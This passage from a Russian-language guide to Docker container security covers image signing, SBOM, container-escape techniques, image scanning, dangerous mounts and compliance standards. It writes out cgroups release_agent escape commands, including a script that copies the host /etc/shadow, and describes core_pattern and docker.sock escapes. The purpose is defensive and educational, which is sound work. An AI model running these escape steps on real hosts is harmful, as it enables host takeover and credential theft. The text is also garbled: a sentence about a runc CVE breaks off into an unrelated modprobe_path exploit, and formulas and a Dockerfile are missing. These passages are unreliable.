  • В защищенной инфраструктуре этот процесс замыкается на уровне кластера оркестрации (например, Kubernetes). Специальный компонент — Admission Controller (например, Kyverno или OPA Gatekeeper) — перехватывает запрос на запуск контейнера. Он извлекает хеш образа, обращается к Registry за подписью Cosign, проверяет её валидность через журнал Rekor и соответствие политикам безопасности компании. Если подпись отсутствует, недействительна или сделана недоверенным субъектом (например, разработчиком со своего локального ноутбука, а не официальным CI-пайплайном), запуск контейнера блокируется на уровне API оркестратора.

    Прозрачность состава: SBOM и Provenance

    Криптографическая подпись гарантирует, что образ не был изменен после сборки. Но она не дает ответа на вопрос: «А что именно мы подписали?». Для решения этой задачи внедряется практика генерации Software Bill of Materials (SBOM) — программной спецификации.

    SBOM — это машиночитаемый документ (в форматах SPDX или CycloneDX), содержащий исчерпывающий граф всех компонентов, библиотек, транзитивных зависимостей и версий ОС, включенных в финальный образ. SBOM генерируется на этапе сборки утилитами вроде Syft или Trivy и прикрепляется к образу в Registry как отдельный артефакт.

    Наличие SBOM критически важно для реагирования на инциденты. Когда публикуется информация о новой критической уязвимости (например, в библиотеке log4j), специалистам ИБ не нужно сканировать тысячи запущенных контейнеров. Достаточно выполнить SQL-подобный запрос к централизованной базе данных SBOM, чтобы мгновенно получить список всех образов в инфраструктуре, содержащих уязвимую версию библиотеки.

    Более продвинутый уровень защиты цепочки поставок включает генерацию Provenance (происхождения) в рамках фреймворка SLSA (Supply Chain Levels for Software Artifacts). Provenance — это криптографически подписанный мета-документ, который описывает не только что находится в образе (как SBOM), но и как он был создан: какой репозиторий Git использовался, какой хеш коммита, какие переменные окружения были переданы в CI-раннер, и на какой конкретно сборочной ноде происходил процесс.

    Сочетание многоэтапной сборки (Distroless), криптографической подписи (Cosign), детализации состава (SBOM) и доказательства происхождения (SLSA Provenance) формирует концепцию Zero Trust применительно к жизненному циклу контейнеров. В такой парадигме среда исполнения заведомо не доверяет никакому коду, пока не будет математически доказано, что он прошел через авторизованный, неизменяемый и прозрачный конвейер сборки.

    6. Анатомия прорыва: механизмы Container Escape и технический разбор актуальных CVE

    Анатомия прорыва: механизмы Container Escape и технический разбор актуальных CVE

    В 2026 году среднее время от публикации Proof-of-Concept уязвимости побега из контейнера до начала массового сканирования инфраструктур ботнетами составляет менее четырех часов. Изоляция контейнера не является физической границей, это лишь иллюзия, созданная набором фильтров и ограничений внутри единого ядра операционной системы. Прорыв этой изоляции (Container Escape) означает, что атакующий смог заставить ядро хоста или привилегированный процесс выполнить код вне наложенных ограничений пространств имен.

    С технической точки зрения любой успешный побег сводится к изменению структуры task_struct вредоносного процесса в памяти ядра (чтобы она указывала на init_nsproxy хоста) либо к выполнению произвольного кода в контексте процесса, который уже находится в корневом пространстве имен.

    Векторы прорыва строго делятся на три архитектурных класса:

  • Использование легитимных механизмов ядра при избыточных привилегиях (ошибки конфигурации).
  • Эксплуатация логических уязвимостей в компонентах среды выполнения (runc, containerd).
  • Прямая атака на ядро Linux через доступные системные вызовы (LPE).
  • Классика конфигурационных уязвимостей: cgroups release_agent

    Механизм release_agent является хрестоматийным примером того, как избыточные привилегии позволяют легально обойти изоляцию. Для реализации этой атаки контейнер должен быть запущен с флагом --privileged или, как минимум, с привилегией CAP_SYS_ADMIN, которая позволяет выполнять системный вызов mount.

    В первой версии cgroups (cgroups v1) существует функция notify_on_release. Ее изначальная задача — автоматическая очистка пустых контрольных групп. Если в файле notify_on_release записана единица, ядро проверит файл release_agent в корне этой иерархии cgroups. В этом файле должен находиться путь к исполняемому файлу. Как только в контрольной группе не останется ни одного процесса, ядро выполнит файл, указанный в release_agent.

    Критическая особенность архитектуры заключается в том, что ядро Linux всегда выполняет скрипт release_agent в контексте корневого пространства имен (на хосте), с правами root, и ищет этот файл относительно корневой файловой системы хоста, а не контейнера.

    Для эксплуатации атакующему внутри контейнера необходимо выполнить строго определенную последовательность действий. Сначала монтируется иерархия cgroups, чтобы получить доступ к управлению:

    mount -t cgroup -o rdma cgroup /tmp/cgrp

    Затем активируется триггер очистки для созданной подгруппы:

    echo 1 > /tmp/cgrp/x/notify_on_release

    Далее необходимо указать ядру, какой именно скрипт выполнить. Поскольку ядро будет искать файл на хосте, атакующий должен узнать путь к файловой системе своего контейнера на хосте. Обычно это делается через чтение /etc/mtab (путь драйвера OverlayFS). Допустим, путь на хосте — /var/lib/docker/overlay2/a1b2c3.../diff. Атакующий записывает этот путь плюс имя своего скрипта (/cmd) в release_agent:

    echo "/var/lib/docker/overlay2/a1b2c3.../diff/cmd" > /tmp/cgrp/release_agent

    !Схема эксплуатации cgroups release_agent

    Остается создать сам скрипт /cmd, который, например, скопирует /etc/shadow хоста в директорию контейнера, сделать его исполняемым и запустить кратковременный процесс в созданной контрольной группе x. Когда процесс завершится, группа опустеет, ядро увидит флаг notify_on_release, прочитает путь из release_agent и выполнит скрипт /cmd от имени хостового root. Побег осуществлен без использования бинарных уязвимостей, исключительно средствами самого ядра.

    Уязвимости среды выполнения: Разбор CVE-2025-9074

    Компонент runc отвечает за непосредственное создание контейнера и управление его жизненным циклом. Когда администратор выполняет команду docker exec -it <container> bash, демон Docker вызывает runc, который должен присоединиться к существующим пространствам имен контейнера.

    Присоединение к пространствам имен выполняется через системный вызов setns(). Проблема заключается в том, что процесс runc, выполняющийся на хосте с правами root, в момент перехода между пространствами имен находится в «гибридном» состоянии. CVE-2025-9074 — это уязвимость состояния гонки (Race Condition) и утечки файловых дескрипторов (File Descriptor Leak) в runc, логически продолжающая класс проблем, выявленных ранее в CVE-2024-21626.

    Механика CVE-2025-9074 базируется на обработке файловой системы /sys/fs/cgroup. При выполнении exec утилита runc открывает внутренние файловые дескрипторы для работы с cgroups контейнера. Из-за ошибки в логике закрытия дескрипторов (отсутствие флага O_CLOEXEC в специфичных условиях), один из дескрипторов, указывающий на директорию хоста, остается открытым в момент передачи управления процессу внутри контейнера.

    Атакующий, уже имеющий доступ внутри контейнера, не может инициировать эту атаку самостоятельно. Он переводит контейнер в режим ожидания (например, запуская бесконечный цикл, проверяющий директорию /proc). Как только легитимный администратор выполняет docker exec, в контейнере появляется новый процесс.

    !Race condition при docker exec и утечка дескриптора

    Атакующий моментально сканирует /proc/UID=00xffffffff82200000$) хранится строка /sbin/modprobe. Ядро вызывает этот бинарный файл, когда сталкивается с неизвестным форматом исполняемого файла. Атакующий через Out-of-Bounds Write меняет эту строку на путь к своему скрипту (например, /tmp/hax). Затем он пытается запустить файл с некорректной сигнатурой. Ядро, находясь в контексте хоста с максимальными привилегиями, читает измененный modprobe_path и выполняет скрипт атакующего.

    Архитектурные выводы и эшелонирование

    Анализ механизмов побега демонстрирует, что изоляция контейнеров хрупка по своей природе. Компрометация происходит там, где пересекаются границы пространств имен, или там, где ядро вынуждено обрабатывать сложные структуры данных от недоверенного пользователя.

    Защита от подобных прорывов базируется на разрушении цепочки эксплуатации (Kill Chain) на разных этапах. Атака release_agent невозможна, если контейнер лишен привилегии CAP_SYS_ADMIN, так как системный вызов mount будет отклонен ядром. Утечка файловых дескрипторов (CVE-2025-9074) требует наличия в контейнере утилит для сканирования /proc и компиляции эксплойтов, что блокируется использованием Distroless-образов.

    Эксплуатация уязвимостей ядра (CVE-2026-34040) напрямую зависит от доступности системных вызовов. Строгий профиль Seccomp, запрещающий io_uring_setup, userfaultfd или bpf, делает атаку невозможной даже при наличии уязвимого ядра, так как атакующий физически не может передать ядру вредоносную полезную нагрузку. Внедрение профилей AppArmor дополнительно ограничивает доступ к /sys и /proc`, сводя на нет попытки манипуляций с параметрами ядра изнутри контейнера.

    7. Уязвимости в слоях образов: методы сканирования и минимизация базовых образов

    Уязвимости в слоях образов: методы сканирования и минимизация базовых образов

    Среднестатистический базовый образ на основе популярного дистрибутива Linux накапливает от трех до пяти критических уязвимостей (CVE) в течение первых тридцати дней после релиза, даже если в него не вносились никакие изменения. Контейнер, который был абсолютно безопасным на момент сборки в CI/CD, становится уязвимым просто из-за течения времени и работы исследователей безопасности. В парадигме иммутабельной инфраструктуры мы не можем подключиться к работающему контейнеру и выполнить apt-get upgrade — это разрушает саму суть контейнеризации. Единственный легитимный путь обеспечения безопасности — непрерывное сканирование статических артефактов (образов) и их пересборка с минимизацией поверхности атаки.

    Анатомия сканирования статических образов

    Сканирование Docker-образа принципиально отличается от сканирования классической виртуальной машины или физического хоста. В традиционной инфраструктуре сканер (например, Nessus или OpenVAS) авторизуется в системе, выполняет команды в shell и анализирует активные процессы. В контексте контейнеров сканер работает с образом как с пассивным архивом данных, не запуская его.

    Процесс статического анализа (Static Image Scanning) базируется на распаковке слоев и детерминированном поиске артефактов. Вычислительная сложность этого процесса может быть выражена как , где — количество пакетов и библиотек, обнаруженных в слоях, а — размер базы данных уязвимостей, с которой производится сопоставление.

    Типичный движок сканера (такой как Trivy, Grype или Clair) выполняет анализ в несколько этапов:

  • Извлечение манифеста и слоев. Сканер обращается к Docker Registry (или локальному демону) и загружает манифест образа. Опираясь на манифест, он скачивает tar-архивы каждого слоя.
  • Построение виртуальной файловой системы. Поскольку слои накладываются друг на друга (с учетом whiteout-файлов, удаляющих данные из нижних слоев), сканер должен реконструировать итоговое состояние файловой системы, каким его увидит ядро при запуске контейнера.
  • Идентификация системных пакетов. Сканер парсит базы данных пакетных менеджеров ОС. Для Debian/Ubuntu это текстовый файл /var/lib/dpkg/status, для RHEL/CentOS — база Berkeley DB или SQLite по пути /var/lib/rpm. Извлекаются имена пакетов, их версии и архитектура.
  • Идентификация зависимостей уровня приложения. Сканер ищет манифесты конкретных языков программирования: package-lock.json (Node.js), pom.xml (Java), requirements.txt (Python), go.mod (Go) и бинарные файлы с вкомпилированными зависимостями.
  • Сопоставление с базами данных уязвимостей (VDB). Собранный инвентарь сверяется с агрегированными базами, такими как NVD (National Vulnerability Database), GitHub Advisories, OSV (Open Source Vulnerability) и специфичными базами дистрибутивов (Alpine SecDB, Ubuntu CVE Tracker).
  • !Пошаговый процесс сканирования слоев образа

    Критическая проблема статического сканирования заключается в том, что уязвимость, присутствующая в нижнем слое, может быть физически удалена в верхнем слое (через RUN apt-get remove), но сканер, анализирующий слои независимо, может выдать предупреждение. Современные сканеры анализируют именно результирующее дерево файлов, чтобы избежать подобных ложных срабатываний, однако сканирование самих слоев остается важным для аудита цепочки поставок: если в слое была уязвимая утилита, а в она удалена, злоумышленник, имеющий доступ к Registry, все равно может выкачать слой и извлечь из него данные или использовать его как базу для своего образа.

    Ложные срабатывания и парадокс бэкпортирования

    Самая большая боль специалиста ИБ при анализе отчетов сканирования контейнеров — лавина ложных срабатываний (False Positives). Главная причина этого явления кроется в механизме поддержки стабильных версий дистрибутивов Linux, известном как бэкпортирование (backporting).

    Представим ситуацию: в библиотеке libcurl обнаружено переполнение буфера (CVE-2023-38545). Разработчики оригинального проекта (upstream) выпускают исправление в версии 8.4.0. Национальная база уязвимостей (NVD) фиксирует: все версии libcurl < 8.4.0 уязвимы.

    Ваш базовый образ основан на Debian 12 (Bookworm), который поставляется с libcurl версии 7.88.1. Базовый, наивный сканер видит версию 7.88.1, сравнивает ее с правилом NVD () и выдает критический алерт.

    Однако мейнтейнеры Debian не могут просто обновить библиотеку до версии 8.4.0 в стабильном выпуске ОС, так как это мажорное обновление, которое сломает обратную совместимость API/ABI для сотен других программ. Вместо этого они берут исходный код патча безопасности из версии 8.4.0 и применяют его (бэкпортируют) к старому коду версии 7.88.1. Новая, безопасная версия пакета в репозитории Debian получает суффикс дистрибутива, например 7.88.1-10+deb12u4.

    !Механика бэкпортирования патчей безопасности

    Чтобы не генерировать ложные срабатывания, качественный сканер контейнеров должен:

  • Идентифицировать базовый дистрибутив (например, прочитав /etc/os-release).
  • Игнорировать общие данные NVD для системных пакетов.
  • Использовать специализированные OVAL-фиды (Open Vulnerability and Assessment Language) от вендора (Debian Security Tracker, Red Hat Security Data).
  • Если сканер настроен неверно или используется устаревшая база данных, команда ИБ будет тратить сотни часов на расследование уязвимостей, которые фактически уже закрыты вендором дистрибутива.

    VEX и проблема достижимости уязвимостей

    Даже если сканер корректно отработал бэкпорты и нашел реальную уязвимую библиотеку (True Positive), это не означает, что приложение действительно подвержено риску.

    Вероятность успешной эксплуатации зависит от множества факторов. Библиотека может присутствовать в файловой системе контейнера, но:

  • Уязвимая функция никогда не вызывается кодом приложения.
  • Библиотека является инструментом для тестирования и не загружается в память в production-среде.
  • Уязвимость требует специфической конфигурации (например, включенного протокола HTTP/3), которая отключена.
  • Для решения проблемы приоритизации ИБ-индустрия разработала стандарт VEX (Vulnerability Exploitability eXchange). VEX — это машиночитаемый документ, который сопровождает образ и содержит утверждения о статусе конкретных CVE. VEX позволяет разработчику задекларировать, что уязвимая библиотека присутствует в образе, но имеет статус not_affected с обоснованием (например, vulnerable_code_not_in_execute_path). Сканеры, поддерживающие VEX, автоматически понизят критичность такой CVE в отчете или скроют ее, экономя время аналитиков.

    Более продвинутый подход — анализ достижимости (Reachability Analysis). Инструменты нового поколения используют профилирование на этапе работы контейнера (через eBPF) или статический анализ графа вызовов (Call Graph) исходного кода приложения. Если сканер видит CVE в пакете log4j, но граф вызовов показывает, что уязвимый класс JndiLookup нигде не импортируется и не используется, уязвимость помечается как недостижимая. Это позволяет сократить бэклог исправления уязвимостей на 70-80%, фокусируя команду только на том коде, который реально исполняется.

    Радикальная минимизация: за пределами Distroless

    Простейший способ избавиться от уязвимостей в образе — удалить код, который их содержит. Чем меньше компонентов в слоях, тем меньше поверхность атаки.

    Ранее мы определили, что использование Distroless-образов (содержащих только приложение и рантайм-зависимости, без shell и пакетных менеджеров) является золотым стандартом. Однако на практике перевести легаси-приложение на Distroless бывает сложно. Кроме того, даже Distroless-образы (например, от Google) содержат базовые системные библиотеки (glibc, libssl), в которых периодически находят уязвимости.

    Для радикальной минимизации применяются технологии динамического анализа и усечения образов (Image Slimming), флагманом которых является инструментарий SlimToolkit (ранее DockerSlim).

    Механика динамического усечения

    В отличие от статических подходов, динамическая минимизация наблюдает за реальным поведением приложения. Процесс выглядит следующим образом:

  • Инструмент запускает исходный («толстый») контейнер в изолированной среде.
  • К процессу внутри контейнера подключаются механизмы трассировки ядра (ptrace или eBPF).
  • Инструмент симулирует нагрузку: отправляет HTTP-запросы на порты контейнера, выполняет пользовательские тесты.
  • Механизмы трассировки фиксируют каждый файл, к которому обратилось приложение: исполняемые файлы, конфигурации, загруженные динамические библиотеки (shared objects .so), файлы сертификатов.
  • На основе собранного лога доступа создается новый, однослойный образ. В него копируются только те файлы, к которым было зафиксировано обращение. Все остальное (утилиты ОС, пакетные менеджеры, неиспользуемые библиотеки) отбрасывается.
  • В результате образ размером 800 МБ (на базе Ubuntu) может превратиться в образ размером 15 МБ, сохраняя полную работоспособность приложения. При сканировании такого образа количество CVE часто падает до нуля, так как сканеру просто не за что зацепиться — нет ни пакетного менеджера, ни базы данных пакетов.

    Риски динамической минимизации

    Главный риск этого подхода кроется в неполном покрытии тестами на этапе наблюдения. Если приложение использует динамическую загрузку библиотек (например, через системный вызов dlopen в C/C++ или рефлексию в Java) для обработки редкого граничного случая, и этот случай не был вызван во время симуляции нагрузки, нужная библиотека не попадет в финальный образ. В production-среде, при возникновении этого граничного случая, приложение упадет с ошибкой library not found.

    Поэтому динамическое усечение требует исчерпывающего набора интеграционных тестов, которые задействуют все возможные ветвления логики приложения перед тем, как матрица необходимых файлов будет заморожена.

    Статическая компиляция и scratch

    Абсолютным пределом минимизации является использование базового образа scratch — пустого образа, предоставляемого Docker, в котором нет вообще ни одного байта данных.

    Этот подход идеально работает для языков, поддерживающих статическую компиляцию (Go, Rust, C/C++ с библиотекой Musl). При статической компиляции все зависимости, включая стандартную библиотеку языка, упаковываются в единый бинарный файл.

    Dockerfile для такого приложения выглядит максимально лаконично:

    В таком образе нет ни операционной системы, ни библиотек libc, ни файловой структуры Linux (/etc, /var). Поверхность атаки сужается исключительно до уязвимостей в самом коде приложения. Если злоумышленник найдет RCE-уязвимость в my-app, он не сможет выполнить классические пост-эксплуатационные действия: он не найдет /bin/sh для получения интерактивной оболочки, не найдет curl или wget для загрузки вредоносной нагрузки, и не сможет использовать системные утилиты для разведки.

    Безопасность контейнеров — это не разовая настройка, а непрерывный процесс управления состоянием артефактов. Понимание того, как сканеры читают слои и интерпретируют версии пакетов, позволяет ИБ-специалистам отличать реальные угрозы от артефактов бэкпортирования. В свою очередь, переход от пассивного сканирования к проактивной минимизации через динамическое усечение или статическую компиляцию позволяет не просто быстрее патчить уязвимости, а физически удалять пространство, в котором они могут существовать.

    8. Эксплуатация конфигурационных рисков: опасные монтирования и защита Docker Socket

    Эксплуатация конфигурационных рисков: опасные монтирования и защита Docker Socket

    Абсолютное большинство успешных атак на контейнерные инфраструктуры не требует поиска 0-day уязвимостей в ядре Linux или написания сложных эксплойтов для обхода изоляции памяти. Они начинаются с одной строки в конфигурационном файле, добавленной для удобства автоматизации. Контейнер, запущенный без флага привилегированного режима, с настроенными лимитами cgroups и профилем Seccomp, может быть полностью скомпрометирован, если разработчик пробросил внутрь него неправильный файл с хостовой операционной системы.

    Механизмы изоляции ядра бессильны, если конфигурация легально предоставляет процессу интерфейс управления самим ядром или демоном контейнеризации.

    Анатомия компрометации через UNIX-сокет

    Взаимодействие между Docker CLI и Docker Daemon происходит через REST API. По умолчанию этот API слушает не TCP-порт, а локальный UNIX-доменный сокет, расположенный по пути /var/run/docker.sock. UNIX-сокеты — это механизм межпроцессного взаимодействия (IPC) в Linux, который позволяет процессам обмениваться данными, используя файловую систему как пространство имен для адресации.

    Частый антипаттерн в DevOps (так называемый Docker-out-of-Docker, или DooD) — монтирование этого сокета внутрь контейнера. Это делается для того, чтобы CI/CD агенты (Jenkins, GitLab Runner), системы мониторинга (Datadog) или обратные прокси (Traefik) могли управлять соседними контейнерами или читать их логи.

    С точки зрения ядра Linux, процесс внутри контейнера, получивший доступ к /var/run/docker.sock, получает возможность отправлять HTTP-запросы демону, который работает на хосте с правами root. Поскольку по умолчанию аутентификация на UNIX-сокете не требуется (предполагается, что права доступа к файлу сокета достаточны для авторизации), компрометация такого контейнера означает мгновенный захват всего узла.

    Техника побега (Container Escape)

    Если злоумышленник получает RCE (Remote Code Execution) в веб-приложении, запущенном в контейнере с проброшенным сокетом, процесс побега тривиален и не требует бинарных эксплойтов.

    !Пошаговый побег через docker.sock

    Атакующий формирует JSON-нагрузку для создания нового контейнера. Главная цель — использовать директиву Binds для монтирования корневой файловой системы хоста.

    Даже если в скомпрометированном контейнере нет утилиты curl, злоумышленник может взаимодействовать с сокетом, используя встроенные возможности bash (через /dev/tcp, если сокет проксируется) или минимальные скрипты на Python/Perl. В случае успеха демон Docker, находящийся вне изоляции, послушно скачивает образ, создает контейнер, монтирует корень хоста / в директорию /mnt/host и передает управление.

    Вызов chroot /mnt/host переключает корневой каталог процесса на хостовый. С этого момента злоумышленник может читать /etc/shadow, добавлять свои SSH-ключи в /root/.ssh/authorized_keys или внедрять модули ядра.

    Векторы атак через файловую систему хоста

    Помимо сокета, существуют специфические файлы и директории Linux, монтирование которых внутрь контейнера приводит к фатальным последствиям. Ядро не делает различий между процессом на хосте и процессом в контейнере, если они обращаются к одному и тому же inode на диске.

    Исполнение через планировщики (cron)

    Монтирование директорий /etc/cron.d, /etc/cron.daily или файла /etc/crontab внутрь контейнера в режиме чтения-записи открывает прямой путь к выполнению кода на хосте.

    Как только атакующий записывает скрипт в проброшенную директорию cron.d, демон crond, работающий на хосте (в корневом PID Namespace и с полными привилегиями), считывает этот файл. Планировщик не знает, что файл был создан из изолированного окружения. Он просто видит валидное расписание и выполняет команду от имени хостового пользователя root.

    Эксплуатация обработчиков ядра (core_pattern)

    Более сложный, но крайне надежный вектор связан с подсистемой /proc. По умолчанию Docker маскирует опасные пути в /proc (например, /proc/sysrq-trigger или /proc/kcore), монтируя их поверх пустыми файлами (masked paths) или в режиме read-only. Однако администраторы иногда монтируют хостовый /proc целиком для систем глубокого мониторинга.

    Особый интерес представляет файл /proc/sys/kernel/core_pattern. Он определяет, какую программу должно запустить ядро Linux при падении любого процесса (Segmentation Fault) для генерации дампа памяти.

    Если атакующий может писать в этот файл из контейнера, он перезаписывает его значением, начинающимся с символа конвейера (pipe): |/var/lib/docker/overlay2/id_слоя/diff/tmp/malicious_script.sh

    Механика эксплуатации:

  • Атакующий создает вредоносный скрипт внутри контейнера.
  • Вычисляет реальный путь к этому скрипту на файловой системе хоста (через структуру OverlayFS).
  • Записывает этот путь в core_pattern.
  • Искусственно вызывает сбой любого процесса внутри контейнера (например, отправляя сигнал SIGSEGV).
  • Когда процесс падает, ядро Linux (работающее вне контейнера) перехватывает сбой, читает core_pattern и выполняет указанный скрипт. Важно понимать, что скрипт выполняется в контексте ядра/хоста, а не в контексте упавшего контейнера.

    Стратегии защиты: изоляция сокета

    Полный отказ от использования Docker Daemon в CI/CD — идеальный, но не всегда достижимый путь. Если доступ к API необходим, применяются архитектурные паттерны снижения рисков.

    Docker Socket Proxy

    Вместо прямого монтирования /var/run/docker.sock используется паттерн обратного проксирования с фильтрацией на уровне HTTP-путей.

    !Архитектура Docker Socket Proxy

    В этой схеме между контейнером-клиентом и демоном разворачивается легковесный прокси-сервер (например, HAProxy, Nginx или специализированный Tecracer Socket Proxy). Сокет монтируется только в прокси-контейнер. Клиентский контейнер обращается к прокси по TCP.

    Прокси-сервер настраивается на жесткую белую фильтрацию (Allowlist) API-запросов. Например, для системы мониторинга (Datadog) разрешаются только GET-запросы к эндпоинтам /containers/json и /containers/{id}/stats. Любые POST, PUT или DELETE запросы, а также обращения к /exec или /build отбрасываются на уровне балансировщика с кодом 403 Forbidden.

    Даже если контейнер мониторинга будет скомпрометирован, злоумышленник сможет лишь читать метрики, но не сможет запустить новый контейнер для побега.

    Изоляция через User Namespaces

    Ранее мы рассматривали User Namespaces как механизм трансляции идентификаторов. Этот же механизм является мощнейшим средством защиты от опасных монтирований.

    Если демон Docker настроен с параметром userns-remap, ядро применяет математический сдвиг к UID процессов. Пусть базовый сдвиг равен . Тогда процесс, запущенный в контейнере от имени root (), на хосте получает идентификатор .

    Если разработчик ошибочно смонтирует /etc/shadow (владелец — хостовый root, ) внутрь такого контейнера, атакующий не сможет его изменить. Процесс с попытается записать файл, принадлежащий . Ядро Linux заблокирует операцию на уровне проверки прав доступа POSIX (VFS), несмотря на то, что внутри контейнера процесс считает себя суперпользователем.

    > Важный нюанс: User Namespaces не защищают сам docker.sock. Демон Docker проверяет права на доступ к сокету на момент подключения. Если права файла сокета позволяют чтение/запись для сдвинутого пользователя (или сокет проброшен с измененными правами), атакующий все равно сможет отправить API-запрос на создание привилегированного контейнера, который может быть запущен вне User Namespace.

    Принудительный мандатный контроль доступа (SELinux)

    Дискреционное управление доступом (DAC — стандартные права rwx) часто оказывается недостаточным. Для защиты файловой системы хоста от контейнеров применяется мандатное управление доступом (MAC), реализованное через SELinux (Security-Enhanced Linux) или AppArmor.

    В системах с включенным SELinux (RHEL, Fedora) Docker использует механизм sVirt. Каждому контейнеру при запуске динамически назначается уникальная метка безопасности (SELinux context), например: system_u:system_r:container_t:s0:c123,c456

    Все файлы на хосте имеют свои метки (например, /etc/shadow имеет метку shadow_t). Политика SELinux по умолчанию строго запрещает процессу с типом container_t читать или писать файлы с типами хостовой системы.

    Суффиксы монтирования :z и :Z

    Чтобы контейнер мог работать с примонтированными директориями, администратор должен явно указать Docker изменить SELinux-метки этих файлов при монтировании. Для этого используются суффиксы :z (маленькая) и :Z (большая).

  • Суффикс :z (Shared): Docker ремаркирует содержимое директории меткой container_file_t. Это позволяет любому контейнеру читать и писать в эту директорию. Используется для общих томов.
  • Суффикс :Z (Private): Docker ремаркирует содержимое уникальной меткой конкретного контейнера (с учетом категорий c123,c456). Никакой другой контейнер не получит доступ к этим файлам.
  • Опасность кроется в слепом использовании этих суффиксов. Если администратор выполнит монтирование -v /var:/var:Z, Docker рекурсивно изменит SELinux-метки всех файлов в хостовом /var. Это не только разрушит безопасность хоста (системные демоны потеряют доступ к своим файлам из-за смены контекста), но и легитимизирует доступ контейнера к критичным данным.

    Read-Only монтирования: иллюзия безопасности

    Флаг :ro (Read-Only) при монтировании томов часто воспринимается как панацея. Действительно, монтирование -v /etc:/etc:ro предотвратит перезапись crontab или shadow. Однако концепция Read-Only имеет критические ограничения при работе со специальными файлами.

    Монтирование UNIX-сокета в режиме :ro (-v /var/run/docker.sock:/var/run/docker.sock:ro) не предотвращает отправку команд управления. UNIX-сокет — это канал связи, а не обычный файл. Операция записи в сокет (отправка HTTP-запроса демону) не является операцией изменения файла на диске. Ядро позволяет процессу открывать сокет для двустороннего обмена данными, даже если файловая система, на которой находится inode сокета, смонтирована только для чтения.

    Таким образом, "read-only сокет" — это технический оксюморон. Контейнер с таким монтированием имеет полный контроль над демоном Docker.

    Rootless Docker как системная защита

    Радикальным решением проблемы компрометации демона является переход на архитектуру Rootless Docker. В этом режиме сам демон dockerd запускается от имени непривилегированного пользователя на хосте, используя User Namespaces для создания изолированного окружения.

    В Rootless-режиме сокет демона располагается в домашней директории пользователя (например, /run/user/1000/docker.sock). Если этот сокет пробрасывается в контейнер и атакующий эксплуатирует его для побега, он получает права только того непривилегированного пользователя, от имени которого запущен демон.

    Атакующий сможет создавать новые контейнеры, но он не сможет смонтировать хостовый /etc (у него нет прав на чтение), не сможет загрузить модуль ядра (нет CAP_SYS_MODULE в начальном Namespace) и не сможет прослушивать привилегированные порты (ниже 1024). Rootless Docker не предотвращает побег из контейнера к демону, но он кардинально снижает радиус поражения (Blast Radius) после побега, превращая критический инцидент в локальную компрометацию одной учетной записи.

    9. Стандарты и комплаенс: применение модели 4C, CIS Benchmarks и NIST SP 800-190

    Контейнер может иметь безупречный SBOM, ноль известных уязвимостей в приложении и быть собранным из минималистичного образа scratch. Однако, если при запуске DevOps-инженер добавит флаг --privileged или пробросит внутрь корневую файловую систему хоста, вся криптография и сканирования слоев теряют смысл. Инфраструктура будет скомпрометирована за секунды. Эта ситуация иллюстрирует фундаментальную проблему: безопасность компонентов не гарантирует безопасность системы. Для перехода от точечного закрытия уязвимостей к системной архитектуре ИБ необходимы стандарты. В мире контейнерной безопасности фундаментом служат три столпа: концептуальная модель 4C, стратегический фреймворк NIST SP 800-190 и тактический чеклист CIS Docker Benchmark.

    Эшелонированная защита: Модель 4C

    Cloud Native Computing Foundation (CNCF) определяет безопасность контейнерных сред через модель 4C. Это концепция эшелонированной защиты (Defense in Depth), представляющая инфраструктуру как четыре вложенных друг в друга домена доверия: Cloud, Cluster, Container, Code.

    !Модель 4C: эшелонированная защита Cloud Native

    Логика модели строга: безопасность каждого внутреннего слоя полностью зависит от безопасности внешнего. Невозможно обеспечить изоляцию контейнера, если скомпрометирован гипервизор облачного провайдера или ядро хостовой ОС (уровень Cloud/Co-location).

  • Cloud / Co-location (Облако / ЦОД): Физическая инфраструктура, сеть, гипервизоры и хостовые операционные системы. На этом уровне ИБ-специалист должен гарантировать, что ядро Linux, на котором работает Docker Daemon, регулярно обновляется, а доступ к хосту по SSH ограничен.
  • Cluster (Кластер): Инструменты оркестрации (Kubernetes, Docker Swarm). Даже если мы рассматриваем одиночный узел Docker, этот уровень включает конфигурацию самого Docker Daemon, управление доступом к API (mTLS, порт 2376) и сетевые политики между контейнерами.
  • Container (Контейнер): Среда исполнения. Здесь работают механизмы ограничения привилегий: Seccomp, AppArmor, сброс Linux Capabilities и лимиты cgroups.
  • Code (Код): Само приложение, его зависимости (анализируемые через SBOM) и статический код, упакованный в слои образа.
  • Для специалиста информационной безопасности модель 4C служит картой распределения ответственности. Если разработчики отвечают за уровень Code (устранение SQL-инъекций, обновление библиотек), то задача ИБ и платформенных инженеров — выстроить жесткие барьеры на уровнях Container, Cluster и Cloud, чтобы компрометация приложения не привела к компрометации хоста.

    Стратегия: NIST SP 800-190

    Документ Национального института стандартов и технологий США (NIST) SP 800-190 «Application Container Security Guide» не содержит конкретных bash-команд. Это стратегический фреймворк, который категоризирует риски жизненного цикла контейнеров и предписывает архитектурные контрмеры. NIST делит угрозы на пять категорий: риски образов, реестров, оркестраторов, среды исполнения (контейнеров) и хостовой ОС.

    Особую ценность для аудита представляет подход NIST к рискам среды исполнения. Стандарт прямо указывает на проблему единого ядра (Shared Kernel Architecture) и требует внедрения компенсирующих контролей.

    Например, в разделе «Уязвимости среды исполнения» NIST выделяет риск Unbounded network access from containers (Неограниченный сетевой доступ из контейнеров). Стандарт предписывает: контейнеры не должны иметь доступа к сети хоста и должны общаться только с теми контейнерами, с которыми это явно разрешено. На архитектурном уровне это означает запрет на использование --network host и необходимость внедрения межсетевых экранов уровня контейнеров (Container-Aware Firewalls).

    Другой критический риск по NIST — Mixing of workload sensitivity levels (Смешивание рабочих нагрузок с разным уровнем чувствительности). Если на одном Docker-хосте запущен публичный веб-сервер и внутренний контейнер обработки платежей, компрометация ядра через веб-сервер (например, через уязвимость в подсистеме io_uring) приведет к доступу к памяти платежного шлюза. Контрмера NIST: логическая или физическая сегрегация узлов по уровню чувствительности данных.

    NIST SP 800-190 служит идеальным аргументом при защите бюджета на ИБ или обосновании архитектурных изменений перед руководством. Он переводит технические детали (вроде утечки файловых дескрипторов) на язык бизнес-рисков.

    Тактика: CIS Docker Benchmark

    Если NIST говорит что нужно защищать, то Center for Internet Security (CIS) Docker Benchmark говорит как именно это сделать на уровне конфигурационных файлов и системных вызовов. Это исчерпывающий технический чеклист, состоящий из сотен проверок.

    Каждый контроль в CIS Benchmark имеет четкую структуру:

  • Profile Applicability: Level 1 (базовая гигиена, не ломает функциональность) или Level 2 (глубокая защита, требует тщательного тестирования, может сломать легаси-приложения).
  • Audit: Конкретная команда в консоли для проверки статуса.
  • Remediation: Команда или изменение конфигурации для исправления.
  • Рассмотрим ключевые разделы CIS Docker Benchmark через призму механизмов ядра Linux.

